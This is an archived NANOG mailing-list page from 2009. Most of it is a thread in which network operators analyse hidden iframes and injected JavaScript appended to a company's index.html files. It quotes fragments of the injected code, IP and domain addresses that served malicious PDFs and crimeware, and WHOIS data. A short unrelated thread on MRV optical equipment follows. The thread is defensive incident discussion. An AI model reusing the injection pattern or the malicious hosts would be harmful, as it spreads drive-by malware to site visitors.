wj8DBQFJ7LKiq1pz9mNUZTMRAu3sAJ9MB6NH+qn8/idSbfqMk8TRQPzy5gCfb/QY
DUCdgzPRORtsLyfDFrfkgTw=
=Ar/O
-END PGP SIGNATURE-


-- 
"Fergie", a.k.a. Paul Ferguson
 Engineering Architecture for the Internet
 fergdawgster(at)gmail.com
 ferg's tech blog: http://fergdawg.blogspot.com/

Re: Malicious code just found on web server

[Mike Lewinski]

Paul Ferguson wrote:


Most likely SQL injection. At any given time, there are hundreds of
thousands of "legitimate" websites out there that are unwittingly harboring
malicious code.


Most of the MS-SQL injection attacks we see write malicious javascript 
into the DB itself so all query results include it. However, I'm not 
sure how easy it is to leverage to get system access - we've seen a 
number of compromised customer machines and there didn't appear to be 
any further compromise of them beyond the obvious. In the OP's case it 
sounds like static HTML files were altered. My bet is that an ftp or ssh 
account was brute forced.


Mike

Re: Malicious code just found on web server

[Paul Ferguson]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Mon, Apr 20, 2009 at 9:47 AM, Neil  wrote:

> I've run into this sort of attack before, where they change the page to
> load content from elsewhere; but I couldn't figure out how they managed
> to write to the sites' pages.  They were hosted on a commercial webhost,
> and so if it was a compromised host (which seemed like the only
> possibility to me), that didn't speak well for the hosting company.
>
> We were having issues with the company anyways, though; so I took down
> the site, sanitized the pages (and removed a bunch of junk), and put the
> site back up with another company.
>
> But if you figure out how they got write access to a static website, I'd
> love to hear it.
>

Most likely SQL injection. At any given time, there are hundreds of
thousands of "legitimate" websites out there that are unwittingly harboring
malicious code.

- - ferg

-BEGIN PGP SIGNATURE-
Version: PGP Desktop 9.5.3 (Build 5003)

wj8DBQFJ7KtQq1pz9mNUZTMRAssaAKDYN8gqpZFaYPBOofGTjdtIbCDcSQCglwP0
W1CxTsNRR8vhO28Tq1LDm7M=
=TJbX
-END PGP SIGNATURE-



-- 
"Fergie", a.k.a. Paul Ferguson
 Engineering Architecture for the Internet
 fergdawgster(at)gmail.com
 ferg's tech blog: http://fergdawg.blogspot.com/

Re: Malicious code just found on web server

[Neil]

On Fri, Apr 17, 2009 at 4:39 PM, Russell Berg  wrote:

> We just discovered what we suspect is malicious code appended to all
> index.html files on our web server as of the 11:00 central time hour today:
>
> src="http://77.92.158.122/webmail/inc/web/index.php";
> style="display: none;" height="0" width="0">
> http://77.92.158.122/webmail/inc/web/index.php";
> style="display: none;" height="0" width="0">  
>
> IP address resolves to mail.yaris.com; couldn't find any A/V site
> references to this.
>
> Google search reveals some Chinese sites with references to the URL today,
> but nothing substantial in the translation.
>
> Just a heads up for folks; we have a team investigating...
>
> Russell Berg
> Dir - Product Development
> Airstream Communications
> b...@wins.net
> 715-832-3726
>
>
I've run into this sort of attack before, where they change the page to load
content from elsewhere; but I couldn't figure out how they managed to write
to the sites' pages.  They were hosted on a commercial webhost, and so if it
was a compromised host (which seemed like the only possibility to me), that
didn't speak well for the hosting company.

We were having issues with the company anyways, though; so I took down the
site, sanitized the pages (and removed a bunch of junk), and put the site
back up with another company.

But if you figure out how they got write access to a static website, I'd
love to hear it.

-N.

Re: Malicious code just found on web server 13E-7EB

[Jake Mailinglists]

On Mon, Apr 20, 2009 at 10:42 AM, Jake Mailinglists
wrote:

> Paul,
> I noticed that in the PDF file but as the domain doesn't seem to have
> resolution I didn't mention it.
>
> Jake
>
> WHOIS information on the domain
>
> Whois Record
>
> domain: TEST1.RU
> type:   CORPORATE
> nserver:ns1.centerhost.ru.
> nserver:ns1.cetis.ru.
> state:  REGISTERED, DELEGATED
> org:Center of Effective Technologies and Systems CETIS
> phone:  +7 4957711654
> fax-no: +7 4957879251
> e-mail: 
> 
> e-mail: 
> 
> registrar:  REGRU-REG-RIPN
> created:2001.03.30
> paid-till:  2010.04.03
> source: TC-RIPN
>
> Registry Data  Created: 2001-03-30  Expires: 2010-04-03  Whois Server:
> whois.ripn.net
>  Server Data Domain Status:  Registered And No Website
>
>
> On Fri, Apr 17, 2009 at 9:06 PM, Paul Ferguson wrote:
>
>> -BEGIN PGP SIGNED MESSAGE-
>> Hash: SHA1
>>
>>  On Fri, Apr 17, 2009 at 3:06 PM, Chris Mills 
>> wrote:
>>
>>
>> >> I took a quick look at the code... formatted it in a pastebin here:
>> >> http://pastebin.com/m7b50be54
>> >>
>> >> That javascript writes this to the page (URL obscured):
>> >> document.write("> >> src=\"hXXp://
>> 77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown|
>> >> U nknown|US|1.2.3.4\" width=\"0\" height=\"0\"
>> >> type=\"application/pdf\">");
>> >>
>> >> The 1.2.3.4 in the URL is my public IP address (I changed that).
>> >>
>> >> Below the javascript, it grabs a PDF:
>> >> > >> style="border:none">
>> >>
>> >> That PDF is on the site, I haven't looked at it yet though.
>> >>
>>
>> Not only is that .pdf malicious, when "executed" it also fetches
>> additional
>> malware from:
>>
>> hxxp:// test1.ru /1.1.1/load.php
>>
>> If that host is not in your block list, it should be -- known purveyor of
>> crimeware.
>>
>> This is in addition to the other malicious URLs mentioned in this thread.
>>
>> - - ferg
>>
>> -BEGIN PGP SIGNATURE-
>> Version: PGP Desktop 9.5.3 (Build 5003)
>>
>> wj8DBQFJ6Seaq1pz9mNUZTMRAsePAJ4ltJybvyViJoiTJDbIN9JCMjbZtgCgtOnI
>> mxM8Ci/feKnJe6M6qbiESPw=
>> =b0Yj
>> -END PGP SIGNATURE-
>>
>>
>>
>> --
>> "Fergie", a.k.a. Paul Ferguson
>>  Engineering Architecture for the Internet
>>  fergdawgster(at)gmail.com
>>  ferg's tech blog: http://fergdawg.blogspot.com/
>>
>>
>

Re: Malicious code just found on web server

[Jake Mailinglists]

Paul,
I noticed that in the PDF file but as the domain doesn't seem to have
resolution I didn't mention it.

Jake

WHOIS information on the domain

Whois Record

domain: TEST1.RU
type:   CORPORATE
nserver:ns1.centerhost.ru.
nserver:ns1.cetis.ru.
state:  REGISTERED, DELEGATED
org:Center of Effective Technologies and Systems CETIS
phone:  +7 4957711654
fax-no: +7 4957879251
e-mail: 

e-mail: 

registrar:  REGRU-REG-RIPN
created:2001.03.30
paid-till:  2010.04.03
source: TC-RIPN

Registry Data  Created: 2001-03-30  Expires: 2010-04-03  Whois Server:
whois.ripn.net
 Server Data Domain Status:  Registered And No Website

On Fri, Apr 17, 2009 at 9:06 PM, Paul Ferguson wrote:

> -BEGIN PGP SIGNED MESSAGE-
> Hash: SHA1
>
>  On Fri, Apr 17, 2009 at 3:06 PM, Chris Mills 
> wrote:
>
>
> >> I took a quick look at the code... formatted it in a pastebin here:
> >> http://pastebin.com/m7b50be54
> >>
> >> That javascript writes this to the page (URL obscured):
> >> document.write(" >> src=\"hXXp://
> 77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown|
> >> U nknown|US|1.2.3.4\" width=\"0\" height=\"0\"
> >> type=\"application/pdf\">");
> >>
> >> The 1.2.3.4 in the URL is my public IP address (I changed that).
> >>
> >> Below the javascript, it grabs a PDF:
> >>  >> style="border:none">
> >>
> >> That PDF is on the site, I haven't looked at it yet though.
> >>
>
> Not only is that .pdf malicious, when "executed" it also fetches additional
> malware from:
>
> hxxp:// test1.ru /1.1.1/load.php
>
> If that host is not in your block list, it should be -- known purveyor of
> crimeware.
>
> This is in addition to the other malicious URLs mentioned in this thread.
>
> - - ferg
>
> -BEGIN PGP SIGNATURE-
> Version: PGP Desktop 9.5.3 (Build 5003)
>
> wj8DBQFJ6Seaq1pz9mNUZTMRAsePAJ4ltJybvyViJoiTJDbIN9JCMjbZtgCgtOnI
> mxM8Ci/feKnJe6M6qbiESPw=
> =b0Yj
> -END PGP SIGNATURE-
>
>
>
> --
> "Fergie", a.k.a. Paul Ferguson
>  Engineering Architecture for the Internet
>  fergdawgster(at)gmail.com
>  ferg's tech blog: http://fergdawg.blogspot.com/
>
>

Re: So I've got this 2.5gig wave, what do I do with it?

[David Reader]

On Fri, 17 Apr 2009 15:02:29 -0400
Eric Van Tol  wrote:

> > -Original Message-
> > From: Eric Van Tol [mailto:e...@atlantech.net]
> > Sent: Friday, April 17, 2009 2:44 PM
> > To: nanog@nanog.org
> > Subject: RE: So I've got this 2.5gig wave, what do I do with it?
> > 
> > > -Original Message-
> > > From: Kevin Hunt [mailto:kh...@huntbrothers.com]
> > > Sent: Friday, April 17, 2009 12:28 PM
> > > To: w...@loopfree.net; nanog@nanog.org
> > > Subject: Re: So I've got this 2.5gig wave, what do I do with it?
> > >
> > 
> > > I haven't used MRV but they look appealing, would love to hear other
> > folks
> > > experience with them as I'm about to have to turn another two of these
> > > up...
> > >
> > > --
> > 
> > We use the MRV LamdaDrivers and they work well.  We use the EM2009-G2 on
> > our own dark fiber loops and provide dual GE connectivity on a single 2.5G
> > wavelength.  Equipment is pretty barebones, but quite solid.  Management
> > module can be rebooted without loss of light on any interfaces (besides
> > those terminated on the management module, of course).  There's plenty of
> > options for SFPs wrt distances.  However, since the OP is receiving a lit
> > signal from the carrier, I'm not entirely sure it will work in his case,
> > as I *believe* the trunk port requires a WDM SFP, not a standard
> > 850/1310/1550.  I could certainly be wrong, though.
> > 
> > -evt
> 
> Sorry to respond to my own post, but I was getting the EM2009-GM2 mixed up 
> with another module we use.  We do use the EM2009-GM2, but it does not have 
> an SFP trunk port - it's just a pair of SC connectors on the trunk side.  
> Looks like it can be configured for a specific wavelength by the setting of 
> some jumpers on the module, and it looks like 1310 is possible.

http://www.undone.org.uk/em2009-gm2.jpg

The modules we have use SFPs for both Access & Trunk (WDM) ports.

The only jumpers on the boards, to my recollection, are to choose between 
Gigabit Ethernet
or Fibre Channel line protocol on the access ports. The trunk port protocol is 
mrv proprietary
at two-and-a-bit Gbit/sec (2x GigE + TDM overhead).

My understanding is that they'll support any sane choice of SFP (some MRV SFPs 
are clearly
NOT sane choices for this card, such as the digital video coax module..)

MRV SFP modules sold as multirate or OC48 types can be used for the trunk port. 
We have some
of these cards running with "normal" 1310nm SFPs in the trunk ports where we 
only require
two Gbit services over a single fibre pair.

I can't comment on interop with other carriers' systems - we only use these on 
end-to-end
dark fibre.

MRV may able to advise whether or not their trunk protocol is likely to pass 
through
transponders (which may well try to reshape/retime) designed to transport 
SONET/SDH.

d.